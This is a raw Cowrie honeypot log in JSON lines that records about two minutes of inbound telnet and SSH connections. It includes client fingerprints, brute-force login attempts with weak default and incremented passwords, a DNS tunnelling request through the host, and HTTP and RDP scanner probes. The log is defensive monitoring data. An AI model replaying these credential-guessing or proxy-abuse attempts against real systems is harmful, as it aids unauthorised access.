{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":56154,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f4d179b5cd2","protocol":"telnet","message":"New connection: 176.65.139.118:56154 (159.203.135.109:23) [session: 7f4d179b5cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:08.302985Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:13.956752Z","src_ip":"176.65.139.118","session":"7f4d179b5cd2","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:14.013334Z","src_ip":"176.65.139.118","session":"7f4d179b5cd2","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":304,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"3.9","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:17.915397Z","src_ip":"176.65.139.118","session":"7f4d179b5cd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.626248836517334,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:17.929163Z","src_ip":"176.65.139.118","session":"7f4d179b5cd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":51922,"dst_ip":"159.203.135.109","dst_port":23,"session":"d78c4f5227c4","protocol":"telnet","message":"New connection: 176.65.139.118:51922 (159.203.135.109:23) [session: d78c4f5227c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:19.364608Z"}
{"eventid":"cowrie.session.closed","duration":0.9563624858856201,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:20.320846Z","src_ip":"176.65.139.118","session":"d78c4f5227c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.94377160072327,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:21.087662Z","src_ip":"152.42.224.71","session":"08d7b39bfbc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":32998,"dst_ip":"159.203.135.109","dst_port":23,"session":"b09368657a98","protocol":"telnet","message":"New connection: 176.65.139.118:32998 (159.203.135.109:23) [session: b09368657a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:21.500482Z"}
{"eventid":"cowrie.session.closed","duration":1.334181785583496,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:22.834557Z","src_ip":"176.65.139.118","session":"b09368657a98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":37168,"dst_ip":"159.203.135.109","dst_port":23,"session":"27ddf7005e6c","protocol":"telnet","message":"New connection: 176.65.139.118:37168 (159.203.135.109:23) [session: 27ddf7005e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:23.165772Z"}
{"eventid":"cowrie.session.closed","duration":42.002763748168945,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:31.294715Z","src_ip":"152.42.224.71","session":"0fd01bad90eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32486,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d9b9c4c24b2","protocol":"ssh","message":"New connection: 87.251.64.176:32486 (10.17.0.5:22) [session: 9d9b9c4c24b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:32.539968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:32.544931Z","src_ip":"87.251.64.176","session":"9d9b9c4c24b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:32.641290Z","src_ip":"87.251.64.176","session":"9d9b9c4c24b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:32.936860Z","src_ip":"87.251.64.176","session":"9d9b9c4c24b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.43065094947815,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:32.993877Z","src_ip":"152.42.224.71","session":"cc0603eece0b","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:33.038905Z","session":"9d9b9c4c24b2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:33.136801Z","src_ip":"87.251.64.176","session":"9d9b9c4c24b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:33.250778Z","src_ip":"87.251.64.176","session":"9d9b9c4c24b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.223","src_port":46950,"dst_ip":"10.17.0.5","dst_port":23,"session":"14a925f34c29","protocol":"telnet","message":"New connection: 45.79.181.223:46950 (10.17.0.5:23) [session: 14a925f34c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:34.827021Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:34.834453Z","src_ip":"45.79.181.223","session":"14a925f34c29","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:34.840083Z","src_ip":"45.79.181.223","session":"14a925f34c29","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:34.844808Z","src_ip":"45.79.181.223","session":"14a925f34c29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.025091886520385742,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:34.851965Z","src_ip":"45.79.181.223","session":"14a925f34c29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.223","src_port":46964,"dst_ip":"10.17.0.5","dst_port":23,"session":"9508aed07ae2","protocol":"telnet","message":"New connection: 45.79.181.223:46964 (10.17.0.5:23) [session: 9508aed07ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:34.859505Z"}
{"eventid":"cowrie.session.closed","duration":0.005953073501586914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:34.865362Z","src_ip":"45.79.181.223","session":"9508aed07ae2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":58552,"dst_ip":"10.17.0.5","dst_port":22,"session":"d350cf910413","protocol":"ssh","message":"New connection: 103.75.182.198:58552 (10.17.0.5:22) [session: d350cf910413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:57.873821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:57.879125Z","src_ip":"103.75.182.198","session":"d350cf910413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:58.125738Z","src_ip":"103.75.182.198","session":"d350cf910413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerqwer","message":"login attempt [root/qwerqwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:58.865385Z","src_ip":"103.75.182.198","session":"d350cf910413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:00.114853Z","src_ip":"103.75.182.198","session":"d350cf910413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":48914,"dst_ip":"10.17.0.5","dst_port":22,"session":"fef0b23d7d60","protocol":"ssh","message":"New connection: 213.209.159.56:48914 (10.17.0.5:22) [session: fef0b23d7d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:10.102561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:10.108535Z","src_ip":"213.209.159.56","session":"fef0b23d7d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:10.200027Z","src_ip":"213.209.159.56","session":"fef0b23d7d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marion","password":"marion","message":"login attempt [marion/marion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:10.605644Z","src_ip":"213.209.159.56","session":"fef0b23d7d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marion","password":"marion1","message":"login attempt [marion/marion1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:11.694712Z","src_ip":"213.209.159.56","session":"fef0b23d7d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57012,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc3afdb99565","protocol":"telnet","message":"New connection: 152.42.224.71:57012 (10.17.0.5:23) [session: fc3afdb99565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:11.911153Z"}
{"eventid":"cowrie.login.failed","username":"marion","password":"marion123","message":"login attempt [marion/marion123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:12.781002Z","src_ip":"213.209.159.56","session":"fef0b23d7d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marion","password":"marion1234","message":"login attempt [marion/marion1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:13.866339Z","src_ip":"213.209.159.56","session":"fef0b23d7d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marion","password":"marion12345","message":"login attempt [marion/marion12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:14.952871Z","src_ip":"213.209.159.56","session":"fef0b23d7d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:16.038958Z","src_ip":"213.209.159.56","session":"fef0b23d7d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":51484,"dst_ip":"10.17.0.5","dst_port":22,"session":"401d351e2905","protocol":"ssh","message":"New connection: 89.108.118.91:51484 (10.17.0.5:22) [session: 401d351e2905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:35.155849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:35.161343Z","src_ip":"89.108.118.91","session":"401d351e2905","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:35.303430Z","src_ip":"89.108.118.91","session":"401d351e2905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha1999","message":"login attempt [root/sasha1999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:35.736748Z","src_ip":"89.108.118.91","session":"401d351e2905","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:36.881692Z","src_ip":"89.108.118.91","session":"401d351e2905","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54714,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d949b0c4d9f","protocol":"telnet","message":"New connection: 152.42.224.71:54714 (10.17.0.5:23) [session: 4d949b0c4d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:37.349519Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57343,"dst_ip":"10.17.0.5","dst_port":22,"session":"68f533239520","protocol":"ssh","message":"New connection: 152.42.212.128:57343 (10.17.0.5:22) [session: 68f533239520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:56.206930Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:56.211651Z","src_ip":"152.42.212.128","session":"68f533239520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:39:56.215752Z","src_ip":"152.42.212.128","session":"68f533239520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":39266,"dst_ip":"159.203.135.109","dst_port":22,"session":"f46af0b5446a","protocol":"ssh","message":"New connection: 109.237.96.109:39266 (159.203.135.109:22) [session: f46af0b5446a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:17.167084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:17.173524Z","src_ip":"109.237.96.109","session":"f46af0b5446a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:17.269900Z","src_ip":"109.237.96.109","session":"f46af0b5446a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trustno1","message":"login attempt [root/trustno1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:17.554844Z","src_ip":"109.237.96.109","session":"f46af0b5446a","protocol":"ssh"}
